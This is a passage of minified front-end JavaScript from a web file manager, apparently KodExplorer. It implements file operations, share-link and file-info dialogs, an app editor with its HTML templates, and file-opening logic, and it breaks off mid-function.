c=function(){$.ajax({url:r,type:"POST",dataType:"json",data:l,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(t){if(Tips.close(t),ShareData.frameTop("",function(e){e.ui.f5()}),"share"==e[0].type){G.self_share=t.info;var a=$.dialog.list.share_dialog;void 0!=a&&a.close()}o==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof i&&i(t)}})};t?c():$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:o,padding:"40px 80px 40px 30px",lock:!0,background:"#000",opacity:.1,content:s,ok:c,cancel:!0})}},p=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCopy",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},u=function(e){var i=e.path,t=core.pathPre(i);if(t==G.KOD_GROUP_PATH||t==G.KOD_GROUP_SHARE||t==G.KOD_USER_SHARE)return Tips.tips(LNG.path_can_not_action,"warning"),void 0;var a="folder"==e.type?"folder":"file";1>i.length||core.authCheck("userShare:set")&&$.ajax({url:"./index.php?userShare/checkByPath&path="+urlEncode(i),dataType:"json",error:core.ajaxError,success:function(e){if(e.code)f(e.data);else{G.self_share=e.info;var t={path:i,type:a,name:core.pathThis(i)};h(t,function(e){e.code?(G.self_share=e.info,ui.f5(),f(e.data)):(Tips.tips(e),f(void 0,function(){$(".content_info input[name=type]").val(a),$(".content_info input[name=path]").val(i),$(".content_info input[name=name]").val(core.pathThis(i)+"(1)"),"file"==a&&($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden"))}))})}}})},f=function(i,t){0!=$(".share_dialog").length&&$(".share_dialog").shake(3,30,100),e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){m(i),void 0!=t&&t()})},h=function(e,i){$.ajax({url:"index.php?userShare/set",data:e,type:"POST",dataType:"json",beforeSend:function(){$(".share_create_button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(e){$(".share_create_button").removeClass("disabled"),void 0!=i&&i(e)}})},m=function(i){var t=e("./tpl/share.html"),a=template.compile(t),n=a({LNG:LNG});$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:n});var o="zh-CN"==G.lang?"ch":"en";$("#share_time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:o}),$("#share_time").unbind("blur").bind("blur",function(e){stopPP(e)});var s=function(e){if($(".share_setting_more").addClass("hidden"),void 0==e)$(".share_has_url").addClass("hidden"),$(".share_action .share_remove_button").addClass("hidden"),$(".content_info input[name=sid]").val(""),$(".content_info input[name=type]").val(""),$(".content_info input[name=name]").val(""),$(".content_info input[name=show_name]").val(""),$(".content_info input[name=path]").val(""),$(".content_info input[name=time_to]").val(""),$(".content_info input[name=share_password]").val(""),$(".share_view_info").addClass("hidden");else{e.can_upload===void 0&&(e.can_upload=""),i=e,e.show_name||(e.show_name=e.name),$(".content_info input[name=sid]").val(e.sid),$(".content_info input[name=type]").val(e.type),$(".content_info input[name=name]").val(e.name),$(".content_info input[name=show_name]").val(e.show_name),$(".content_info input[name=path]").val(e.path),$(".content_info input[name=time_to]").val(e.time_to),$(".content_info input[name=share_password]").val(e.share_password),$(".share_view_info").removeClass("hidden"),e.num_download===void 0&&(e.num_download=0),e.num_view===void 0&&(e.num_view=0);var t=LNG.share_view_num+e.num_view+" "+LNG.share_download_num+e.num_download;$(".share_view_info").html(t),"1"==e.code_read?$(".content_info input[name=code_read]").attr("checked","checked"):$(".content_info input[name=code_read]").removeAttr("checked"),"1"==e.not_download?$(".content_info input[name=not_download]").attr("checked","checked"):$(".content_info input[name=not_download]").removeAttr("checked"),"1"==e.can_upload?$(".content_info input[name=can_upload]").attr("checked","checked"):$(".content_info input[name=can_upload]").removeAttr("checked"),$(".share_has_url").removeClass("hidden"),"file"==e.type?($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden")):($(".label_code_read").removeClass("hidden"),$(".label_can_upload").removeClass("hidden"));var a=e.type;"folder"==e.type&&(a=1==e.code_read?"code_read":"folder");var n=G.app_host+"index.php?share/"+a+"&user="+G.user_id+"&sid="+e.sid;$(".content_info .share_url").val(n),(e.time_to||e.share_password||e.can_upload||e.code_read||e.not_download)&&$(".share_setting_more").removeClass("hidden"),$(".share_remove_button").removeClass("hidden"),$(".share_create_button").text(LNG.share_save)}},r=function(){$(".share_action .share_remove_button").unbind("click").click(function(){d([{type:"share",path:i.sid}],function(){ui.f5()})}),$(".content_info .share_more").unbind("click").click(function(){$(".share_setting_more").toggleClass("hidden")}),$(".share_action .share_create_button").unbind("click").click(function(){var e="";$(".share_dialog .content_info input[name]").each(function(){var i=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(i=$(this).attr("checked")?"1":""),e+="&"+$(this).attr("name")+"="+i}),h(e,function(e){e.code?(Tips.tips(LNG.success,!0),G.self_share=e.info,ui.f5(),s(e.data),$(".share_create_button").text(LNG.share_save)):Tips.tips(e)})}),$(".content_info .open_window").unbind("click").bind("click",function(){window.open($("input.share_url").val())}),$(".content_info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share_url").val())});var e=$("input.share_url"),t=e.get(0);e.unbind("hover click").bind("hover click",function(){$(this).focus();var i=e.val().length;if($.browser.msie){var a=t.createTextRange();a.moveEnd("character",-t.value.length),a.moveEnd("character",i),a.moveStart("character",0),a.select()}else t.setSelectionRange(0,i)})};s(i),r()},v=function(e){$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(e){Tips.tips(e)}})},_=function(e,i,t,a,n){if(console.log(e,i,t,a,n),!(1>e.length)){var o,s=G.my_desktop;a&&(s=core.pathFather(e)),o="folder"==t?"ui.path.list(hashDecode('"+hashEncode(e)+"'));":"ui.path.open(hashDecode('"+hashEncode(e)+"'));";var r=urlEncode(s+i+".oexe"),l=core.getPathIcon(e);""==l.icon&&(l.icon=t),$.ajax({url:"./index.php?explorer/mkfile&path="+r,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:o,icon:l.icon})},success:function(e){Tips.tips(e),e.code&&(ShareData.frameTop("",function(e){e.ui.f5()}),"function"==typeof n&&n(e.info))}})}},g=function(e,i){if(!(1>e.length)){var t=core.pathThis(e),a=core.pathFather(e);jsrun="core.explorerCode('"+urlEncode(e)+"');";var n=urlEncode(a+t+"_project.oexe");$.ajax({url:"./index.php?explorer/mkfile&path="+n,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(e){e.code&&"function"==typeof i&&i(e.info)}})}},b=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCute",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},y=function(e,i){e&&(Tips.loading(LNG.moving),setTimeout(function(){var t="index.php?explorer/pathPast&path="+urlEncode(e);$.ajax({url:t,dataType:"json",error:core.ajaxError,success:function(e){Tips.close(e.data,e.code),"function"==typeof i&&i(e.info)}})},50))},x=function(i){var t={};t.file_info=e("./tpl/fileinfo/file_info.html"),t.path_info=e("./tpl/fileinfo/path_info.html"),t.path_info_more=e("./tpl/fileinfo/path_info_more.html"),1>i.length&&(i=[{path:G.this_path,type:"folder"}]);var a="info";1==i.length&&(a="file"==i[0].type?core.pathExt(i[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(n(i),function(e){if(!e.code)return Tips.close(e),void 0;Tips.close(LNG.get_success,!0);var n="path_info_more",o=LNG.info;1==i.length&&(n="folder"==i[0].type?"path_info":"file_info",o=core.pathThis(i[0].path),o.length>15&&(o=o.substr(0,15)+"... "+LNG.info));var s=template.compile(t[n]),r=UUID();e.data.is_root=G.is_root,e.data.LNG=LNG,e.data.atime=date(LNG.time_type_info,e.data.atime),e.data.ctime=date(LNG.time_type_info,e.data.ctime),e.data.mtime=date(LNG.time_type_info,e.data.mtime),e.data.size_friendly=core.fileSize(e.data.size);var l=$.dialog({id:r,padding:5,ico:core.iconSmall(a),fixed:!0,title:o,content:s(e.data),ok:!0}),c=15*$(".aui_outer .pathinfo").length;l.DOM.wrap.css({left:"+="+c+"px",top:"+="+c+"px"}),k(r,i)})},k=function(e,i){var t=$("."+e);t.find(".open_window").bind("click",function(){window.open(t.find("input.download_url").val())}),t.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(t.find("input.download_url").val(),t.find(".qrcode").get(0))});var a=t.find(".file_md5_loading");if(1==a.length){var o=n(i);o+="&get_md5=1",core.fileInfo(o,function(e){a.removeClass("file_md5_loading"),e.code?a.html(e.data.file_md5):a.html(LNG.error)})}var s=t.find("input.download_url"),r=s.get(0);s.unbind("hover click").bind("hover click",function(){$(this).focus();var e=s.val().length;if($.browser.msie){var i=r.createTextRange();i.moveEnd("character",-r.value.length),i.moveEnd("character",e),i.moveStart("character",0),i.select()}else r.setSelectionRange(0,e)}),t.find(".edit_chmod").click(function(){var e=$(this).parent().find("input"),t=$(this);$.ajax({url:"index.php?explorer/pathChmod&mod="+e.val(),type:"POST",data:n(i),beforeSend:function(){t.text(LNG.loading)},error:function(){t.text(LNG.button_save)},success:function(e){t.text(e.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){t.text(LNG.button_save)}),e.code&&ui.f5()}})})},w=function(e){if(core.authCheck("explorer:fileDownload")&&!(1>e.length)){var i="index.php?explorer/zipDownload";G.share_page!==void 0&&(i="index.php?share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e);var i="index.php?explorer/fileDownloadRemove&path="+urlEncode(e.info);G.share_page!==void 0&&(i="index.php?share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e.info)),$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('<iframe src="'+i+'" style="display:none;width:0px;height:0px;"></iframe>').appendTo("body")}})}},N=function(e,i,t){1>e.length||(t||(t="zip"),$.ajax({url:"index.php?explorer/zip&fileType="+t,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}}))},L=function(e,i,t){if(e){var a=function(e){$.ajax({url:e,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&i(e)}})},n="index.php?explorer/unzip&path="+urlEncode(e);"to_this"==t&&(n+="&to_this=1"),"unzip_to_folder"==t?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(e){n+="&path_to="+e,a(n)}):a(n)}},C=function(e,i,t){i&&$.ajax({url:"index.php?explorer/pathCuteDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(i+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}})},z=function(e,i,t,a){i&&(void 0==a&&(a=0),$.ajax({url:"index.php?explorer/pathCopyDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(i+"/")+"&filename_auto="+Number(a),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}}))},T=function(){var e=function(e,i){var t='<div style="padding:20px;">null!</div>';if(0!=e.length){t='<div style="height:200px;overflow:auto;padding:10px;width:400px"><b>'+LNG.clipboard_state+LNG[i]+"</b><br/>";for(var a=40,n=0;e.length>n;n++){var o=e[n],s=o.path;s=a>s.length?s:"..."+s.substr(-a),t+="<br/>"+o.type+": <a href='javascript:ui.pathOpen.open(\""+htmlEncode(o.path)+'","'+o.type+"\");'>"+s+"</a>"}t+="</div>"}return t};$.ajax({url:"index.php?explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(i){i.code&&$.dialog({title:LNG.clipboard,padding:0,height:200,width:400,content:e(i.data,i.info)})}})},S=function(e,i,t){var a=function(){$.ajax({url:"index.php?fav/del&name="+urlEncode(e),dataType:"json",async:!1,success:function(e){"function"==typeof i&&i(e)}})};return t?(a(),void 0):($.dialog({id:"dialog_fav_remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:a,cancel:!0}),void 0)},j=function(e){if(e){if(-1==trim(core.pathClear(e.path),"/").indexOf("/")){var i=core.getPathIcon(e.path,e.name);""!=i.icon&&(e.ext=i.icon,e.name=i.name)}$.ajax({url:"index.php?fav/add",dataType:"json",data:e,success:function(e){Tips.tips(e),e.code&&"desktop"!=Config.pageApp&&ui.tree.refreshFav()}})}},P=function(e){var i={};return i.type=e.find("input[type=radio]:checked").val(),i.content=e.find("textarea").val(),i.group=e.find("[name=group]").val(),e.find("input[type=text]").each(function(){var e=$(this).attr("name");i[e]=$(this).val()}),e.find("input[type=checkbox]").each(function(){var e=$(this).attr("name");i[e]="checked"==$(this).attr("checked")?1:0}),i},E=function(e){e.find(".type input").change(function(){var i=$(this).attr("apptype");e.find("[data-type]").addClass("hidden"),e.find("[data-type="+i+"]").removeClass("hidden")}),e.find(".app_edit_select_icon").unbind("click").bind("click",function(){var i=G.basic_path+"static/images/file_icon/icon_app/";G.is_root||(i=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:i},function(i){var i=core.path2url(i);e.find(".app_edit_select_icon_input").val(i)})}),e.find(".size-full").unbind("click").bind("click",function(){var i=$(this).prop("checked");i?(e.find("[name=width]").val("100%"),e.find("[name=height]").val("100%")):(e.find("[name=width]").val("800"),e.find("[name=height]").val("600"))})},D=function(i,t,a){var n,o,s,r=LNG.app_create,l=UUID(),c=e("./tpl/app_edit.html"),d=template.compile(c);switch(void 0==a&&(a="user_edit"),"root_edit"==a&&(i=i),"user_edit"==a||"root_edit"==a?(r=LNG.app_edit,s=d({LNG:LNG,uuid:l,data:i})):s=d({LNG:LNG,uuid:l,data:{}}),$.dialog({fixed:!0,width:450,id:l,padding:15,title:r,content:s,button:[{name:LNG.preview,callback:function(){return core.openApp(P(n)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var e=P(n);switch(a){case"user_add":var s=urlEncode(G.this_path+e.name);o="./index.php?app/user_app&action=add&path="+s;break;case"user_edit":o="./index.php?app/user_app&path="+urlEncode(i.path);break;case"root_add":o="./index.php?app/add&name="+urlEncode(e.name);break;case"root_edit":o="./index.php?app/edit&name="+urlEncode(e.name)+"&old_name="+urlEncode(i.name);break;default:}$.ajax({url:o,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(e))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){if(Tips.close(e),e.code)if("root_edit"==a||"root_add"==a){if(!e.code)return;ShareData.frameTop("Openapp_store",function(e){e.App.reload()})}else"function"==typeof t?t():ui.f5()}})}}]}),n=$("."+l),G.is_root||$(".appbox .appline .right a.open").remove(),i.group&&n.find("option").eq(i.group).attr("selected",1),n.find(".aui_content").css("overflow","inherit"),a){case"user_edit":n.find(".name").addClass("hidden"),n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("option[value="+i.group+"]").attr("checked",!0);break;case"user_add":n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_add":n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_edit":n.find("option[value="+i.group+"]").attr("selected",!0);break;default:}E(n)},F=function(){core.appStore()},O=function(e){e&&4>e.length&&"http"!=e.substring(0,4)||$.ajax({url:"./index.php?app/get_url_title&url="+e,dataType:"json",beforeSend:function(){Tips.loading()},success:function(i){var t=i.data;t=t.replace(/[\/\\]/g,"_"),Tips.close(i);var a={content:e,type:"url",desc:"",group:"others",icon:"internet.png",name:t,resize:1,simple:0,height:"70%",width:"90%"},n=urlEncode(G.this_path+t);e="./index.php?app/user_app&action=add&path="+n,$.ajax({url:e,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(a))},success:function(e){Tips.close(e),e.code&&ui.f5()}})}})};return{strSort:s,appEdit:D,appList:F,appAddURL:O,share:u,shareBox:f,setBackground:v,createLink:_,createProject:g,newFile:r,newFolder:l,rname:c,unZip:L,zipDownload:w,zip:N,copy:p,cute:b,info:x,remove:d,cuteDrag:C,copyDrag:z,past:y,clipboard:T,fav:j,favRemove:S}}),define("app/common/tpl/share.html",[],'<div class=\'content_box\'>\n <div class=\'title\'>\n <div class="titleinfo">{{LNG.share_title}}</div>\n <div class="share_view_info"></div>\n </div>\n <div class=\'content_info\'>\n <div class="input_line">\n <span class="input_title">{{LNG.share_path}}:</span>\n <input id="share_name" type="text" name="path" value="" />\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.share_name}}:</span>\n <input type="hidden" name="sid"/>\n <input type="hidden" name="type"/>\n <input type="hidden" name="name"/>\n <input id="share_name" type="text" placeholder="{{LNG.share_name}}" name="show_name"/>\n <a href="javascript:void(0);" class="share_more">{{LNG.more}}<b class="caret"></b></a>\n <div style="clear:both"></div>\n </div>\n\n <div class="share_setting_more hidden">\n <div class="input_line">\n <span class="input_title">{{LNG.share_time}}:</span>\n <input id="share_time" type="text" placeholder="{{LNG.share_time}}" name="time_to"/>\n <i class="desc">{{LNG.share_time_desc}}</i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.share_password}}:</span>\n <input type="text" placeholder="{{LNG.share_password}}" name="share_password"/>\n <i class="desc">{{LNG.share_password_desc}}</i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line share_others">\n <span class="input_title">{{LNG.others}}:</span>\n <label class="label_code_read">\n <input type="checkbox" name="code_read" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_code_read}}</span>\n </label>\n <label>\n <input type="checkbox" name="not_download" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_not_download}}</span>\n </label>\n <label class="label_can_upload">\n <input type="checkbox" name="can_upload" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_can_upload}}</span>\n </label>\n\n <div style="clear:both"></div>\n </div>\n </div>\n\n <div class="input_line share_has_url clear">\n <span class="input_title">{{LNG.share_url}}:</span>\n <div class="input-group">\n <input type="text" class="share_url" aria-label="Text input with segmented button dropdown">\n <div class="input-group-btn">\n <button type="button" class="btn btn-default open_window">{{LNG.open}}</button>\n <button type="button" class="btn btn-default qrcode"><i class="icon-qrcode"></i></button>\n </div>\n <!-- <div class="share_jiathis_box"></div> -->\n </div>\n <div style="clear:both"></div>\n </div>\n </div>\n <div class="share_action">\n <button type="button" class="btn btn-primary share_create_button">{{LNG.share_create}}</button>\n <a type="button" href="javascript:void(0);" class="share_remove_button">{{LNG.share_cancle}}</a>\n </div>\n</div>'),define("app/common/tpl/fileinfo/path_info_more.html",[],"<div class='pathinfo'>\n <div class='p' style='line-height:40px;'>\n <div class='title'>{{LNG.info}}:</div>\n <div class='content'>\n {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n</div>\n"),define("app/common/tpl/app_edit.html",[],"<div class='appbox'>\n <div class='appline name'>\n <div class='left'>{{LNG.name}}</div>\n <div class='right'><input type='text' name='name' value='{{data.name}}'/></div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline desc'>\n <div class='left'>{{LNG.app_desc}}</div>\n <div class='right'><input type='text' name='desc' value='{{data.desc}}'/></div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline icon'>\n <div class='left'>{{LNG.app_icon}}</div>\n <div class='right'><input type='text' name='icon' class=\"app_edit_select_icon_input\" value='{{data.icon}}'/>\n <button class='btn btn-default btn-sm open app_edit_select_icon btn-right'>\n <i class=\"font-icon icon-folder-open\"></i>\n </button>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline group'>\n <div class='left'>{{LNG.app_group}}</div>\n <div class='right'>\n <select name='group'>\n <option value ='others'>{{LNG.app_group_others}}</option>\n <option value ='game'>{{LNG.app_group_game}}</option>\n <option value ='tools'>{{LNG.app_group_tools}}</option>\n <option value ='reader'>{{LNG.app_group_reader}}</option>\n <option value ='movie'>{{LNG.app_group_movie}}</option>\n <option value ='music'>{{LNG.app_group_music}}</option>\n <option value ='life'>{{LNG.app_group_life}}</option>\n <select>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline type'>\n <div class='left'>{{LNG.app_type}}</div>\n <div class='right'>\n <input class='w20 kui-radio size-small' type='radio' id='url{{uuid}}' apptype='url' value='url' name='{{uuid}}type' {{if data.type=='url'}}checked='checked'{{/if}}/>\n <label for='url{{uuid}}'>{{LNG.app_type_url}}</label>\n <input class='w20 kui-radio size-small' type='radio' id='app{{uuid}}' apptype='app' value='app' name='{{uuid}}type' {{if data.type=='app'}}checked='checked'{{/if}}/>\n <label for='app{{uuid}}'>{{LNG.app_type_code}}</label>\n <input class='w20 kui-radio size-small' type='radio' id='app_link{{uuid}}' apptype='app_link' value='app_link' name='{{uuid}}type' {{if data.type=='app_link'}}checked='checked'{{/if}}/>\n <label for='app_link{{uuid}}'>{{LNG.app_type_link}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline' data-type='url'>\n <div class='left'>{{LNG.app_display}}</div>\n <div class='right'>\n <input class='w20 kui-checkbox size-small' type='checkbox' id='simple{{uuid}}' name='simple' {{if data.simple}}checked='true'{{/if}} />\n <label for='simple{{uuid}}'>{{LNG.app_display_border}}</label>\n <input class='w20 kui-checkbox size-small' type='checkbox' id='resize{{uuid}}' name='resize' {{if data.resize}}checked='true'{{/if}} />\n <label for='resize{{uuid}}'>{{LNG.app_display_size}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline' data-type='url'>\n <div class='left'>{{LNG.app_size}}</div>\n <div class='right'>\n <input class='w30' type='text' name='width' value='{{data.width}}'/>({{LNG.width}})&nbsp;&nbsp;\n <input class='w30' type='text' name='height' value='{{data.height}}'/>({{LNG.height}})\n\n <input class='w20 kui-checkbox size-small size-full' type='checkbox' id='size-full{{uuid}}' \n {{if data.width=='100%' && data.height=='100%'}}checked='true'{{/if}} />\n <label for='size-full{{uuid}}'>{{LNG.full_screen}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline content'>\n <div class='left hidden' data-type='app'>{{LNG.app_code}}</div>\n <div class='left hidden' data-type='app_link'>{{LNG.app_code}}</div>\n <div class='left' data-type='url'>{{LNG.app_url}}</div>\n <div class='right'><textarea name='content'>{{data.content}}</textarea></div>\n <div style='clear:both;'></div>\n </div>\n</div>\n"),define("app/common/pathOpen",["./myPlayer"],function(e){var i=function(e,i){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;if("folder"==i)return"explorer"==Config.pageApp?ui.path.list(e+"/"):core.explorer(e),void 0;if("oexe"!=i){if(i||(i=core.pathExt(e)),l(i))return c(e),void 0;if("swf"==i)return $.dialog({resize:!0,fixed:!0,ico:core.icon("swf"),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))}),void 0;if(inArray(core.filetype.archive_list,i))return core.zipView(e),void 0;if("url"==i)return core.fileGet(e,function(i){var t=i.match(/URL=(.*)/);t.length>=2?window.open(t[1]):s(e)}),void 0;if("webloc"==i)return core.fileGet(e,function(i){try{var t=$($.parseXML(i)),a=t.find("string").text();window.open(a)}catch(n){s(e)}}),void 0;if("html"==i||"htm"==i){var a=core.path2url(e);return core.openDialog(a,core.icon("html"),core.pathThis(e)),void 0}if(inArray(core.filetype.image,i)){var a=e;return-1==a.indexOf("http:")&&(a=core.path2url(a)),MaskView.image(a),void 0}if(inArray(core.filetype.music,i)||inArray(core.filetype.movie,i)){var a=core.path2url(e,!1);return p([{url:a,name:urlDecode(core.pathThis(e)),ext:i}]),void 0}if("pdf"!=i)return inArray(core.filetype.doc,i)?(c(e),void 0):inArray(core.filetype.text,i)?(s(e),void 0):("editor"==Config.pageApp?Tips.tips(i+LNG.edit_can_not,!1):t(e,""),void 0);var n=core.path2url(e),a="./lib/plugins/pdfjs/web/viewer.html?file="+urlEncode(n);if(canvasSupport())core.openDialog(a,core.icon(i),htmlEncode(core.pathThis(e)));else{var o="pdf"+UUID(),r='<div id="'+o+'" style="height:100%;"> <a href="'+n+'" target="_blank" style="display:block;margin:0 auto;margin-top:80px;font-size:16px;text-align:center;">'+LNG.error+" "+LNG.download+" PDF</a></div>";$.dialog({resize:!0,fixed:!0,ico:core.icon(i),title:core.pathThis(e),width:800,height:400,padding:0,content:r}),new PDFObject({url:n}).embed(o)}}else if("string"==typeof e){var d=e;"string"!=typeof e&&(d=e.content.split("'")[1]),core.fileGet(d,function(e){var i=jsonDecode(e);i.name=core.pathThis(d),core.openApp(i)})}else core.openApp(e)}},t=function(e,i){void 0==i&&(i="");var t='<div class="unknow_file can_select" style="width:260px;word-break: break-all;"><span>'+LNG.unknow_file_tips+"<br/>"+i+"</span><br/><br/>"+'<a class="btn btn-default btn-nomal" href="javascript:ui.pathOpen.openEditorForce(pathHashDecode(\''+pathHashEncode(e)+"'));\"> "+LNG.edit+" </a>&nbsp;"+'<a class="btn btn-success btn-nomal ml-15" href="javascript:ui.pathOpen.download(pathHashDecode(\''+pathHashEncode(e)+"'));\"> "+LNG.unknow_file_download+" </a></div>";$.dialog({id:"open_unknow_dialog",fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:30,content:t,cancel:!0}),$(".unknow_file a").unbind("click").bind("click",function(){$.dialog.list.open_unknow_dialog.close()})},a=function(e){$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(e):$('<iframe src="'+e+'" style="display:none;width:0px;height:0px;"></iframe>').appendTo("body")},n=function(e){if(core.authCheck("explorer:fileDownload",LNG.no_permissiondownload)&&e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i="index.php?explorer/fileDownload&access_token="+G.access_token+"&path="+urlEncode(e);G.share_page!==void 0&&(i="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),"http"==e.substr(0,4)&&(i=e),a(i)}},o=function(e){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i=core.path2url(e);window.open(i)}},s=function(e){if(e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t=core.pathExt(e);return"Win32"==navigator.platform||"Windows"==navigator.platform,inArray(core.filetype.doc,t)?(c(e,!0),void 0):(core.pathThis(e),inArray(core.filetype.bindary,t)||inArray(core.filetype.music,t)||inArray(core.filetype.image,t)||inArray(core.filetype.movie,t)||inArray(core.filetype.doc,t)?(i(e,t),void 0):(r(e),void 0))}},r=function(e){var i=ShareData.frameTop();if(i.Editor!==void 0)return i.Editor.add(urlEncode(e)),void 0;if("editor"==Config.pageApp)return ShareData.frameChild("OpenopenEditor",function(i){i.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var t=i.$.dialog.list.openEditor,a=0;t&&"hidden"==$(t.DOM.wrap).css("visibility")&&(a=200,t.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(i){i.Editor.add(urlEncode(e))})},a)}else{var n="./index.php?editor/edit#filename="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e));var o=htmlEncode(urlDecode(core.pathThis(e)));core.openDialog(n,core.icon("edit"),o,"openEditor")}},l=function(e){if(!G.kodOffice)return!1;var i=".docx.doc.odt.rtf.djvu.fb2.epub.xps.//.docm.dotm.dot.dotx.mht.//.wps.wpt.";return i+=".xls.xlsx.ods.csv.//.xlt.xltx.xlsb.xlsm.//.et.ett.",i+=".pps.ppsx.ppt.pptx.odp.//.pot.potx.pptm.ppsm.potm.//.dps.dpt.",-1===i.indexOf("."+e+".")?!1:!0},c=function(e,i){var t="./index.php?explorer/officeView&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0&&(t=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),i!==void 0&&(t+="&is_edit=1"),"page"==G.kodOffice?(window.open(t),void 0):(core.openDialog(t,core.icon(core.pathExt(e)),htmlEncode(core.pathThis(e))),void 